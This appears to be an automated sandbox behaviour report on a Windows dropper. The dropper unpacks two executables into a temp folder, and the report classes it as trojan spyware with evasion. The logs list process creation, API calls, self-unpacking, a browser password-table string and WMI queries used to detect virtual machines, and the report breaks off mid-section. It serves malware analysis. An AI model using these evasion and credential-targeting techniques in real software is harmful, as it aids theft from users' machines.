Source: unknown	Process created: C:\Users\user\Desktop\W7ANVukbbj.exe C:\Users\user\Desktop\W7ANVukbbj.exe
Source: C:\Users\user\Desktop\W7ANVukbbj.exe	Process created: C:\Users\user\AppData\Local\Temp\IXP000.TMP\twl97yF91.exe C:\Users\user\AppData\Local\Temp\IXP000.TMP\twl97yF91.exe
Source: unknown	Process created: C:\Windows\System32\rundll32.exe C:\Windows\system32\rundll32.exe" C:\Windows\system32\advpack.dll,DelNodeRunDLL32 "C:\Users\user\AppData\Local\Temp\IXP000.TMP\
Source: C:\Users\user\Desktop\W7ANVukbbj.exe	Process created: C:\Users\user\AppData\Local\Temp\IXP000.TMP\uPD30tM82.exe C:\Users\user\AppData\Local\Temp\IXP000.TMP\uPD30tM82.exe
Source: C:\Users\user\Desktop\W7ANVukbbj.exe	Process created: C:\Users\user\AppData\Local\Temp\IXP000.TMP\twl97yF91.exe C:\Users\user\AppData\Local\Temp\IXP000.TMP\twl97yF91.exe	Jump to behavior
Source: C:\Users\user\Desktop\W7ANVukbbj.exe	Process created: C:\Users\user\AppData\Local\Temp\IXP000.TMP\uPD30tM82.exe C:\Users\user\AppData\Local\Temp\IXP000.TMP\uPD30tM82.exe	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\twl97yF91.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{CF4CC405-E2C5-4DDD-B3CE-5E7582D8C9FA}\InprocServer32

Jump to behavior

Source: C:\Users\user\Desktop\W7ANVukbbj.exe

Code function: 0_2_00861F90 GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,CloseHandle,ExitWindowsEx,ExitWindowsEx,

0_2_00861F90

Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\twl97yF91.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Process Where SessionId='1'
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\twl97yF91.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Process Where SessionId='1'
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\twl97yF91.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\uPD30tM82.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Process Where SessionId='1'
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\uPD30tM82.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Process Where SessionId='1'
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\uPD30tM82.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor

Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\twl97yF91.exe

File created: C:\Users\user\AppData\Local\Yandex

Jump to behavior

Source: C:\Users\user\Desktop\W7ANVukbbj.exe

File created: C:\Users\user\AppData\Local\Temp\IXP000.TMP

Jump to behavior

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@6/4@0/1

Source: C:\Users\user\Desktop\W7ANVukbbj.exe

Code function: 0_2_0086597D GetCurrentDirectoryA,SetCurrentDirectoryA,GetDiskFreeSpaceA,MulDiv,GetVolumeInformationA,memset,GetLastError,FormatMessageA,SetCurrentDirectoryA,memset,GetLastError,FormatMessageA,SetCurrentDirectoryA,

0_2_0086597D

Source: uPD30tM82.exe, 0000000E.00000002.435203327.0000000002B2C000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: C:\Users\user\Desktop\W7ANVukbbj.exe

Code function: 0_2_00863FEF CreateProcessA,WaitForSingleObject,GetExitCodeProcess,CloseHandle,CloseHandle,GetLastError,FormatMessageA,

0_2_00863FEF

Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\twl97yF91.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\uPD30tM82.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll			Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\twl97yF91.exe

Code function: 1_2_004019F0 OleInitialize,_getenv,GetCurrentProcessId,CreateToolhelp32Snapshot,Module32First,CloseHandle,Module32Next,Module32Next,FindCloseChangeNotification,GetModuleHandleA,FindResourceA,LoadResource,LockResource,SizeofResource,_malloc,_memset,SizeofResource,_memset,FreeResource,_malloc,SizeofResource,_memset,LoadLibraryA,GetProcAddress,VariantInit,VariantInit,VariantInit,SafeArrayCreate,SafeArrayAccessData,SafeArrayUnaccessData,SafeArrayDestroy,SafeArrayCreateVector,VariantClear,VariantClear,VariantClear,

1_2_004019F0

Source: unknown

Process created: C:\Windows\System32\rundll32.exe C:\Windows\system32\rundll32.exe" C:\Windows\system32\advpack.dll,DelNodeRunDLL32 "C:\Users\user\AppData\Local\Temp\IXP000.TMP\

Source: C:\Users\user\Desktop\W7ANVukbbj.exe

Code function: 0_2_00864FE0 FindResourceA,LoadResource,LockResource,GetDlgItem,ShowWindow,GetDlgItem,ShowWindow,FreeResource,SendMessageA,

0_2_00864FE0

Source: C:\Users\user\Desktop\W7ANVukbbj.exe	Command line argument: Kernel32.dll		0_2_00862BFB
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\twl97yF91.exe	Command line argument: 08A		1_2_00413780

Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\twl97yF91.exe

File opened: C:\Windows\SysWOW64\msvcr100.dll

Jump to behavior

Source: W7ANVukbbj.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IMPORT
Source: W7ANVukbbj.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESOURCE
Source: W7ANVukbbj.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_BASERELOC
Source: W7ANVukbbj.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: W7ANVukbbj.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
Source: W7ANVukbbj.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IAT

Source: W7ANVukbbj.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, GUARD_CF, TERMINAL_SERVER_AWARE

Source: W7ANVukbbj.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: wextract.pdb source: W7ANVukbbj.exe
Source:	Binary string: wextract.pdbGCTL source: W7ANVukbbj.exe
Source:	Binary string: ,C:\fokizacawova\vamisobel.pdb source: W7ANVukbbj.exe, 00000000.00000003.254929355.00000000049C9000.00000004.00000020.00020000.00000000.sdmp, twl97yF91.exe, 00000001.00000000.255172921.0000000000401000.00000020.00000001.01000000.00000004.sdmp, twl97yF91.exe.0.dr
Source:	Binary string: _.pdb source: twl97yF91.exe, 00000001.00000002.322917583.0000000004B10000.00000004.08000000.00040000.00000000.sdmp, twl97yF91.exe, 00000001.00000002.322488235.0000000002F56000.00000004.00000020.00020000.00000000.sdmp, twl97yF91.exe, 00000001.00000003.259177434.0000000002F0D000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\fokizacawova\vamisobel.pdb source: W7ANVukbbj.exe, 00000000.00000003.254929355.00000000049C9000.00000004.00000020.00020000.00000000.sdmp, twl97yF91.exe, 00000001.00000000.255172921.0000000000401000.00000020.00000001.01000000.00000004.sdmp, twl97yF91.exe.0.dr

Data Obfuscation

Detected unpacking (overwrites its own PE header)

Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\twl97yF91.exe

Unpacked PE file: 1.2.twl97yF91.exe.400000.0.unpack

Detected unpacking (changes PE section rights)

Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\twl97yF91.exe

Unpacked PE file: 1.2.twl97yF91.exe.400000.0.unpack .text:ER;.data:W;.rsrc:R;.reloc:R; vs .text:ER;.rdata:R;.data:W;.rsrc:R;

Source: C:\Users\user\Desktop\W7ANVukbbj.exe	Code function: 0_2_0086724D push ecx; ret	0_2_00867260
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\twl97yF91.exe	Code function: 1_2_0041C40C push cs; iretd	1_2_0041C4E2
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\twl97yF91.exe	Code function: 1_2_00423149 push eax; ret	1_2_00423179
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\twl97yF91.exe	Code function: 1_2_0041C50E push cs; iretd	1_2_0041C4E2
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\twl97yF91.exe	Code function: 1_2_004231C8 push eax; ret	1_2_00423179
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\twl97yF91.exe	Code function: 1_2_0040E21D push ecx; ret	1_2_0040E230
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\twl97yF91.exe	Code function: 1_2_0041C6BE push ebx; ret	1_2_0041C6BF
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\twl97yF91.exe	Code function: 1_2_02CCC125 push ebx; ret	1_2_02CCC126
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\twl97yF91.exe	Code function: 1_2_02CCBE73 push cs; iretd	1_2_02CCBF49
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\twl97yF91.exe	Code function: 1_2_02CCBF75 push cs; iretd	1_2_02CCBF49
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\twl97yF91.exe	Code function: 1_2_02CBE484 push ecx; ret	1_2_02CBE497
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\twl97yF91.exe	Code function: 1_2_03055704 push edx; retf	1_2_0305570A
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\twl97yF91.exe	Code function: 1_2_03055EFC push ebx; ret	1_2_03055EFD

Source: C:\Users\user\Desktop\W7ANVukbbj.exe

Code function: 0_2_00862F1D GetSystemDirectoryA,LoadLibraryA,GetProcAddress,DecryptFileA,FreeLibrary,SetCurrentDirectoryA,

0_2_00862F1D

Source: uPD30tM82.exe.0.dr

Static PE information: 0xB087F0D6 [Wed Nov 7 22:10:30 2063 UTC]

Source: C:\Users\user\Desktop\W7ANVukbbj.exe	File created: C:\Users\user\AppData\Local\Temp\IXP000.TMP\twl97yF91.exe			Jump to dropped file
Source: C:\Users\user\Desktop\W7ANVukbbj.exe	File created: C:\Users\user\AppData\Local\Temp\IXP000.TMP\uPD30tM82.exe			Jump to dropped file

Source: C:\Users\user\Desktop\W7ANVukbbj.exe

Code function: 0_2_00861AE8 CompareStringA,GetFileAttributesA,LocalAlloc,GetPrivateProfileIntA,GetPrivateProfileStringA,GetShortPathNameA,CompareStringA,LocalAlloc,LocalAlloc,GetFileAttributesA,

0_2_00861AE8

Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\twl97yF91.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\twl97yF91.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\twl97yF91.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\twl97yF91.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\twl97yF91.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\twl97yF91.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\twl97yF91.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\twl97yF91.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\twl97yF91.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\twl97yF91.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\twl97yF91.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\twl97yF91.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\twl97yF91.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\twl97yF91.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\twl97yF91.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\twl97yF91.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\twl97yF91.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\twl97yF91.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\twl97yF91.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\twl97yF91.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\twl97yF91.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\twl97yF91.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\twl97yF91.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\twl97yF91.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\twl97yF91.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\twl97yF91.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\twl97yF91.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\twl97yF91.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\twl97yF91.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\twl97yF91.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\twl97yF91.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\twl97yF91.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\twl97yF91.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\twl97yF91.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\twl97yF91.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\twl97yF91.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\twl97yF91.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\twl97yF91.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\twl97yF91.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\twl97yF91.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\twl97yF91.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\twl97yF91.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\twl97yF91.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\twl97yF91.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\twl97yF91.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\twl97yF91.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\twl97yF91.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\twl97yF91.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\twl97yF91.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\twl97yF91.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\twl97yF91.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\twl97yF91.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\twl97yF91.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\twl97yF91.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\twl97yF91.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\twl97yF91.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\twl97yF91.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\twl97yF91.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\twl97yF91.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\twl97yF91.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\twl97yF91.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\twl97yF91.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\twl97yF91.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\twl97yF91.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\twl97yF91.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\uPD30tM82.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\uPD30tM82.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\uPD30tM82.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\uPD30tM82.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\uPD30tM82.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\uPD30tM82.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\uPD30tM82.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\uPD30tM82.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\uPD30tM82.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\uPD30tM82.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\uPD30tM82.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\uPD30tM82.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\uPD30tM82.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\uPD30tM82.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\uPD30tM82.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\uPD30tM82.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\uPD30tM82.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\uPD30tM82.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\uPD30tM82.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\uPD30tM82.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\uPD30tM82.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\uPD30tM82.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\uPD30tM82.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\uPD30tM82.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\uPD30tM82.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\uPD30tM82.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\uPD30tM82.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\uPD30tM82.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\uPD30tM82.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\uPD30tM82.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\uPD30tM82.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\uPD30tM82.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\uPD30tM82.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\uPD30tM82.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\uPD30tM82.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\uPD30tM82.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\uPD30tM82.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\uPD30tM82.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\uPD30tM82.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\uPD30tM82.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\uPD30tM82.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\uPD30tM82.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\uPD30tM82.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\uPD30tM82.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\uPD30tM82.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\uPD30tM82.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\uPD30tM82.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\uPD30tM82.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\uPD30tM82.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\uPD30tM82.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\uPD30tM82.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\uPD30tM82.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\uPD30tM82.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\uPD30tM82.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\uPD30tM82.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\uPD30tM82.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\uPD30tM82.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\uPD30tM82.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\uPD30tM82.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\uPD30tM82.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\uPD30tM82.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\twl97yF91.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_VideoController
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\uPD30tM82.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_VideoController

Queries sensitive disk information (via WMI, Win32_DiskDrive, often done to detect virtual machines)

